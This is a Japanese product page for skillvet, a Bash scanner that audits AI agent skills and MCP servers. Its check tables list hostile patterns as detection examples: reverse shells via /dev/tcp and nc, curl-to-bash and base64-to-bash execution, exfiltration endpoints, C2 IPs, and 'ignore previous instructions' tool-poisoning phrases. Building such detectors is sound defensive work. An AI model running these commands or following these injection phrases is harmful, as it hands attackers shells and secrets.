mcpField
S
skillvet

skillvet

github.com/oakencoreセキュリティ1110 回インストール34 週間前に更新
リポジトリ

skillvet について

skillvetは、Agent Skillを監査する依存関係不要のBash製静的セキュリティスキャナーです。Skillの作成者や保守担当者向けに、多様なリスク検査と機械可読なレポート、インストール前の監査を提供します。

主な機能

  1. 0162項目のセキュリティ検査と8種の警告
  2. 02JSON・SARIFレポート
  3. 03リモート、インストール済み、差分のスキャン
  4. 04リスクスコアと設定可能な抑制ルール
  5. 05安全なインストールとコミット前スキャン

活用シーン

  1. 01インストール前のAgent Skill監査
  2. 02CIでのインストール済みSkillのスキャン
  3. 03バージョン間の変更箇所だけを確認

MCP 対応

skillvetは、ツールポイズニング、コマンドインジェクション、データ流出、動的なツール定義など、MCP関連の攻撃パターンをスキャンします。

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/oakencore/skillvet --skill skillvet

インストール後、Claude Code で/skillvetを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

docs/plans/
2026-03-04-mcp-checks-implementation-plan.md
2026-03-04-mcp-attack-detection-design.md
scripts/
diff-scan.sh
safe-install.sh
scan-remote.sh
skill-audit.sh
pre-commit-hook
patterns.b64
tests/
fixtures.b64
run-tests.sh

詳細

Skillvet

エージェントスキル向けのセキュリティスキャナーです。62 件のセキュリティチェックと 8 種類の警告カテゴリを備えています。依存関係はなく、bash と grep のみで動作します。Tirith に着想を得た検出パターン、MCP サーバー攻撃の検出、Koi Security、Bitdefender、Snyk、1Password によるキャンペーンのシグネチャと、ClickFix パターンが含まれています。

使い方

安全なインストール(インストール後に監査し、重大な問題があれば自動的に削除します):

bash skills/skillvet/scripts/safe-install.sh <skill-slug>

既存のスキルを監査する:

bash skills/skillvet/scripts/skill-audit.sh skills/some-skill

インストール済みのすべてのスキルを監査する:

for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done

JSON 出力(自動化向け):

bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill

SARIF 出力(GitHub Code Scanning/VS Code 向け):

bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill

概要モード(スキルごとに 1 行で表示):

bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill

詳細モード(実行されるチェックとスキャン対象のファイルをデバッグ):

bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill

インストールせずにリモートスキルをスキャンする:

bash skills/skillvet/scripts/scan-remote.sh <skill-slug>

差分スキャン(バージョン間で変更された部分のみをスキャン):

bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version

終了コード:0 問題なし、1 警告のみ、2 重大な検出事項あり。

詳細オプション
フラグ説明
--jsonCI/ダッシュボード向けの JSON 出力
--sarifGitHub Code Scanning 向けの SARIF v2.1.0 出力
--summaryスキルごとに 1 行で出力
--verbose実行されるチェックとスキャン対象のファイルを表示
--exclude-self独自のソースディレクトリをスキャンする場合はスキャンを省略
--max-file-size NN バイトを超えるファイルをスキップ
--max-depth Nディレクトリの走査深度を制限
誤検知の抑制

スキルディレクトリに .skillvetrc ファイルを作成すると、特定のチェックを無効にできます:

# Disable check #4 (obfuscation) and #20 (shortened URLs)
disable:4
disable:20

または、インラインコメントを追加して個別の行を抑制できます:

const url = "https://bit.ly/legit-link"; // skillvet-ignore
プレコミットフック

Git のプレコミットフックをインストールすると、コミット前にスキルが自動スキャンされます:

ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
リスクスコア

各検出事項には重大度の重み(1〜10)があります。リスクの合計スコアは JSON、SARIF、概要の各出力に含まれます。スコアが高いほど、危険なパターンであることを示します:

  • 10:リバースシェル、既知の C2 IP
  • 9:データ流出、パイプ経由のシェル実行、永続化とネットワーク通信の組み合わせ、ClickFix、base64 の実行
  • 7-8:認証情報の窃取、難読化、パストラバーサル、時限爆弾
  • 4-6:Punycode、ホモグラフ、ANSI インジェクション、短縮 URL
  • 2-3:サブプロセスの実行、ネットワークリクエスト、ファイルへの書き込み

重大なチェック(自動ブロック対象)

コアセキュリティチェック(1〜24)
#チェック項目例
1既知の情報流出先エンドポイントwebhook.site、ngrok.io、requestbin
2環境変数の一括収集printenv |、${!*@}
3外部認証情報へのアクセススクリプト内の ANTHROPIC_API_KEY、TELEGRAM_BOT_TOKEN
4コードの難読化base64 デコード、16 進エスケープ、動的コード生成
5パストラバーサル/機密ファイル../../、~/.ssh、~/.clawdbot
6curl/wget によるデータ流出変数を使った curl --data、wget --post
7リバースシェル/バインドシェル/dev/tcp/、nc -e、socat
8.env ファイルの窃取スクリプト内での dotenv 読み込み(ドキュメントを除く)
9Markdown 内のプロンプトインジェクションSKILL.md 内の「以前の指示を無視してください」
10LLM ツールの悪用シークレットを送信/メールする指示
11エージェント設定の改ざんAGENTS.md、SOUL.md、clawdbot.json の書き込み/変更
12Unicode の難読化ゼロ幅文字、RTL オーバーライド、双方向制御文字
13不審なセットアップコマンドSKILL.md 内で curl の出力を bash にパイプする
14ソーシャルエンジニアリング外部バイナリのダウンロード、貼り付けて実行する指示
15同梱された .env ファイルスキル内の .env ファイル(.example を除く)
16ホモグラフ URL (Tirith)ホスト名内のキリル文字の i とラテン文字の i
17ANSI エスケープシーケンス (Tirith)コード/データファイル内のターミナルエスケープコード
18Punycode ドメイン (Tirith)xn-- で始まる IDN エンコード済みドメイン
19二重エンコードされたパス (Tirith)%25XX によるパーセントエンコードのバイパス
20短縮 URL (Tirith)bit.ly、t.co、tinyurl.com によるリンク先の隠蔽
21パイプ経由のシェル実行curl | bash(HTTP および HTTPS)
22文字列構築による検出回避String.fromCharCode、getattr、動的な呼び出しの組み立て
23データフローチェーンの分析同じファイルがシークレットを読み取り、エンコードし、さらにネットワークリクエストを送信する
24時限爆弾の検出Date.now() > timestamp、setTimeout(fn, 86400000)
25既知の C2/IOC IP ブロックリスト91.92.242.30、54.91.154.110(既知の AMOS C2 サーバー)
26パスワード保護されたアーカイブ「パスワード openclaw を使って展開」— AV 回避
27ペーストサービスのペイロードglot.io、pastebin.com による悪意のあるスクリプトのホスティング
28GitHub リリースからのバイナリダウンロードGitHub 上の .zip/.exe を指す偽の前提条件
29Base64 のパイプ経由インタープリター実行echo '...' | base64 -D | bash — macOS の主な攻撃経路
30サブプロセス+ネットワークコマンドPython/JS コード内に隠されたパイプ経由のシェル実行
31偽 URL による誤誘導 (警告)実際のペイロードの前におとり URL を配置
32プロセスの永続化+ネットワークnohup curl ... & — ネットワークアクセス可能なバックドア
33偽の前提条件パターン怪しい外部ダウンロードを含む「前提条件」セクション
34xattr/chmod ドロッパーmacOS Gatekeeper の回避:ダウンロード、xattr -c、chmod +x、実行
35ClickFix のダウンロード+実行チェーンcurl -o /tmp/x && chmod +x && ./x、ダウンロードしたファイルを指定した open -a
36不審なパッケージソースpip install git+https://...、非公式レジストリからの npm パッケージ
37段階的なインストーラーパターンopenclaw-core、some-lib のような偽の依存関係名
38偽の OS アップデートを使ったソーシャルエンジニアリング「互換性のために Apple Software Update が必要です」
39既知の悪意ある ClawHub アクターzaycv、Ddoy233、Sakaen736jih、Hightower6eu への言及
40Bash /dev/tcp リバースシェルbash -i >/dev/tcp/IP/PORT 0>&1(AuthTool のパターン)
41Nohup バックドアネットワークコマンドを含む nohup bash -c '...' >/dev/null
42Python リバースシェルsocket.connect + dup2、pty.spawn('/bin/bash')
43ターミナル出力の偽装悪意のあるペイロードの前に、おとりの「ダウンロード中…」メッセージを表示
44認証情報ファイルへのアクセス.env、.pem、.aws/credentials の直接読み取り
45TMPDIR へのペイロードの一時配置AMOS のパターン:マルウェアを $TMPDIR に配置してから実行
46GitHub の raw コンテンツの実行curl raw.githubusercontent.com/... | bash
47echo でエンコードされたペイロード長い base64 文字列を echo で出力し、デコーダーにパイプ
48名前を偽装したスキルclawdhub-helper、openclaw-cli、skillvet1
Tirith に着想を得たセキュリティチェック(#49-54)

高度な難読化や認証情報の悪用を検出するため、Tirith のポリシー・アズ・コードのパターンに基づいています。

#チェック深刻度例
49ホモグラフ URL の検出9URL 内のキリル文字/ギリシャ文字の類似文字(例:а と a)
50ゼロ幅/不可視 Unicode8U+200B、U+200D、悪意のあるコンテンツを隠す双方向テキスト上書き
51Punycode ドメインの検出9正規のドメインを装う xn-- の IDN エンコードドメイン
52URL 内の認証情報7https://user:pass@host — URL 内でパスワードが露出
53ドットファイルへの書き込み9.bashrc、.ssh/authorized_keys、.gitconfig への書き込み
54URL 短縮による難読化7悪意のあるリンク先を隠す短縮 URL
MCP セキュリティチェック(#55-62)

MCP サーバーの攻撃ベクトルに関する、Invariant Labs、Trail of Bits、Keysight、Snyk の調査に基づいています。

#チェック深刻度例
55MCP ツールのポイズニング指示9"description": "ignore previous instructions and..."
56サーバー間のツールのシャドーイング8"when using send_email, always BCC..."
57会話履歴の窃取9conversation_history パラメーター、when you see API_KEY
58MCP ハンドラーでのコマンドインジェクション8シェル実行でのテンプレートリテラル、shell=True を指定した subprocess
59環境変数の一括窃取9JSON.stringify(process.env)、dict(os.environ)
60クラウドメタデータへの SSRF9169.254.169.254、metadata.google.internal
61DNS リバインディングによる露出(警告)6SSE トランスポートで 0.0.0.0 にバインドするサーバー
62ラグプル/動的なツール定義8ツール登録付近での Date.now()、リモートからのツール取得

警告チェック(確認が必要な項目)

#チェック例
W1不明な外部ツールの要件インストール手順に記載された標準外の CLI ツール
W2サブプロセスの実行child_process、execSync、spawn、subprocess
W3ネットワークリクエストaxios、fetch、requests のインポート
W4ミニファイ/バンドルされたファイル先頭行が 500 文字超 — 監査できません
W5ファイルシステムへの書き込み操作writeFile、open('w')、fs.append
W6安全でないトランスポートcurl -k、verify=False — TLS が無効
W7信頼できない Docker レジストリ標準外のイメージソース

スキャン対象のファイル形式

.md、.js、.ts、.tsx、.jsx、.py、.sh、.bash、.rs、.go、.rb、.c、.cpp、.json、.yaml、.yml、.toml、.txt、.env*、Dockerfile*、Makefile、pom.xml、.gradle。

バイナリファイルは自動的にスキップされます。シンボリックリンクはたどります。

移植性

Linux と macOS で動作します。Unicode チェック(#12、#16、#17)では、利用可能な場合は grep -P を使用し、Perl 互換正規表現に対応していないシステム(標準の macOS など)では perl にフォールバックします。どちらも利用できない場合、これらのチェックは通知なしにスキップされます。

IOC の更新

チェック #25 の C2 IP ブロックリストは、次の既知のインジケーターに基づいています。

IOC を更新するには、scripts/patterns.b64 の KNOWN_IPS エントリー(base64 エンコードされた正規表現パターン)を編集してください。

CI/CD 統合

GitHub Actions

.github/workflows/test.yml が含まれており、プッシュ/PR 時に Ubuntu と macOS の両方でテストスイートを実行します。

GitHub コードスキャン(SARIF)
- name: Run skillvet
  run: bash scripts/skill-audit.sh --sarif skills/some-skill > results.sarif || true

- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: results.sarif

制限事項

静的解析のみです。プロンプトインジェクションのパターンは英語中心です。圧縮された JS は検出されますが、難読化は解除されません。スキャンで問題が見つからなくても、安全性が保証されるわけではありません。

監査を行うと、スキャナー自身も検出対象になります。スキャナー独自のパターンに、検出対象の文字列が含まれているためです。CI での自己スキャンをスキップするには、--exclude-self を使用してください。

コメント